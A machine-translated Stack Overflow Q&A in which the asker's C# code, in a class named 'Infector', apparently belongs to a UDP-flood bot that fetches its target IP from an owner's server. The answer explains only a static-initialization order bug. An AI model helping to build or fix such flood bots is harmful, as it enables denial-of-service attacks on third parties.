出于某种原因,在输入
时 public static Thread UDP = new Thread(UDPFlood);
public static string IP = GetIP();
public static string ownerURL = "{url}";
public static string GetIP()
{
ownerURL = ownerURL.Replace("{url}","http://www.test.com");
WebClient ipGrabber = new WebClient();
return ipGrabber.DownloadString(ownerURL + "/getIP.php");
}
它抛出了这个错误:
System.TypeInitializationException:类型初始值设定项 'Infector.FormMain'抛出异常。 ---> System.Net.WebException: 找不到文件'C:\ getIP.php'。 ---> System.Net.WebException: 找不到文件'C:\ getIP.php'。 ---> System.IO.FileNotFoundException:找不到文件'C:\ getIP.php'。
基本上,在使用字符串+ /getIP.php时,它正在我的计算机上查找目录,而不是在网上。
答案 0 :(得分:4)
类初始值设定项可能在GetIP
初始化之前调用ownerURL
。因此,ownerURL.Replace
来电并不是你想要的。
我建议你出于这个原因避免使用静态初始化程序;执行顺序很难预测。